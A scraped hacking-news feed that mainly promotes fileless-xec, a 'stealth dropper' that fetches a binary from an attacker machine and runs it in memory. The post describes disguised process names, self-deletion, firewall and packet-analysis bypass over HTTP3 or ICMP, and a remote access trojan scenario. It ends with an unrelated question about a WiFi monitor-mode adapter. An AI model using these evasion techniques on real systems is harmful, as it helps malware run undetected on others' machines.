Hacking Articles Tips Tricks Videos Tutorials

Certainly useful , mainly for fun, rougly inspired by 0x00 article (https://0x00sec.org/t/super-stealthy-droppers/3715)
Pentest use: fileless-xec is used on target machine to stealthy execute a binary file located on attacker machine
Short story fileless-xec enable us to execute a remote binary on a local machine directly from memory without dropping them on disk ➪ Install (https://github.com/ariary/fileless-xec/blob/main/install.md) simple usage fileless-xec (~curl | sh for binaries) execute binary with specified program name: fileless-xec -n /usr/sbin/sshd detach program execution from tty: setsid fileless-xec [...]

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0x00sec - The Home of the Hacker

Super-Stealthy Droppers

Some weeks ago I found [this interesting article] (https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html), about injecting code in running processes without using ptrace. The article is very interesting and…

11 viewsedited 13:07

Hacking Articles Tips Tricks Videos Tutorials

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Hacking Articles Tips Tricks Videos Tutorials

Explanation We want to execute writeNsleep binary locate on a remote machine, locally. We first start a python http server on remote. Locally we use fileless-xec and impersonate the /usr/sbin/sshd name for the execution of the binary writeNsleep(for stealthiness & fun). Once writeNsleep started fileless-xec will delete itself (--self-remove) Other use cases Execute binary with stdout/stdin (https://github.com/ariary/fileless-xec/blob/main/usage.md#execute-binary-with-stdoutstdin) Execute binary with arguments (https://github.com/ariary/fileless-xec/blob/main/usage.md#execute-binary-with-arguments) fileless-xec self remove Bypass network restriction using ICMP (https://github.com/ariary/fileless-xec/blob/main/usage.md#bypass-network-restriction-with-icmp) Bypass firewall with HTTP3 (https://github.com/ariary/fileless-xec/blob/main/usage.md#bypass-firewall-with-http3) "Remote go": execute go binaries without having go installed locally (https://github.com/ariary/fileless-xec/blob/main/usage.md#remote-go-execute-go-binaries-without-having-go-installed-locally) Execute a shell script (https://github.com/ariary/fileless-xec/blob/main/usage.md#execute-a-shell-script) fileless-xec server mode RAT (Remote Access Trojan) scenario (https://github.com/ariary/fileless-xec/blob/main/usage.md#rat-remote-access-trojan-scenario) fileless-xec on windows Stealthiness story The binary file is not mapped into the host file system The execution program name could be customizable Bypass 3rd generation firewall could be done with http3 support fileless-xec self removes once launched memfd_create The remote binary file is stored locally using memfd_create syscall, which store it within a memory disk which is not mapped into the file system (ie you can't find it using ls). fexecve Then we execute it using fexecve syscall (as it is currently not provided by syscall golang library (https://www.kitploit.com/search/label/Golang%20Library) we implem it). With fexecve , we could but we reference the program to run using a file descriptor, instead of the full path. HTTP3/QUIC Enable it with -Q/http3 flag.
You can setup a light web rootfs server supporting http3 by running go run ./test/http3/light-server.go -p LISTENING PORT (This is http3 equivalent of python3 -m http.server )
use test/http3/genkey.sh to generate cert and key. QUIC UDP aka http3 is a new generation Internet protocol that speeds online web applications that are susceptible to delay, such as searching, video streaming etc., by reducing the round-trip time (RTT) needed to connect to a server. Because QUIC uses proprietary encryption (https://www.kitploit.com/search/label/Encryption) equivalent to TLS (this will change in the future with a standardized version), 3rd generation firewalls (https://www.kitploit.com/search/label/Firewalls) that provide application control and visibility (https://www.kitploit.com/search/label/Visibility) encounter difficulties to control and monitor QUIC traffic. If you actually use fileless-xec as a dropper (Only for testing purpose or with the authorization), you likely want to execute some type of malwares or other file that could be drop by packet analysis. Hence, with Quic enables you could bypass packet analysis (https://www.kitploit.com/search/label/Packet%20Analysis) and GET a malware. Also, in case firewall is only used for allowing/blocking traffic it could happen that firewall rules forget the udp protocol making your requests go under the radars other skill for stealthiness Although not present on the memory disk, the running program can still be detected using ps command for example. Cover the tracks with a fake program name fileless-xec --name by default the name is [kworker/u:0] Detach from tty to map behaviour of deamon process setsid fileless-xec . WIP call setsid from code Caveats You could still be detected with: $ lsof | grep memfd

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GitHub

fileless-xec/usage.md at main · ariary/fileless-xec

Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support, invisible tracks, cross-platform,...) - fileless-xec/usage.md at main · ariary/fileless-xec

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Hacking Articles Tips Tricks Videos Tutorials

Download Fileless-Xec (https://github.com/ariary/fileless-xec)

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GitHub

GitHub - ariary/fileless-xec: Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support…

Stealth dropper executing remote binaries without dropping them on disk .(HTTP3 support, ICMP support, invisible tracks, cross-platform,...) - ariary/fileless-xec

13 viewsedited 13:07

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Recommended WiFi adaptor with monitor mode that runs fine on Windows 10

Hello all, I've previously used an Alfa AWUS036NHA WiFi adaptor in monitor mode on my Linux machine without any issue. However, I'm looking into a project for which I can't get certain libraries to run on Linux, and I suspect the easiest thing to do would be to create my application in Windows.

..but, the previously mentioned Alfa adaptor doesn't seem to play nicely on Windows 10. I know there's not a hardware issue since it's fine on the Linux box, and attempts to install the drivers in Windows 7 compatability-mode, as some posts have suggested, also didn't work.

At this point I'm happy to cut my losses and just purchase a new adaptor for my Windows 10 machine. Can anyone recommend a make and model that they've used successfully in monitor mode on Windows 10?

Many TIA

submitted by /u/jddddddddddd
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Hello all, I've previously used an Alfa AWUS036NHA WiFi adaptor in monitor mode on my Linux machine without any issue. However, I'm looking into a...

12 viewsedited 13:11

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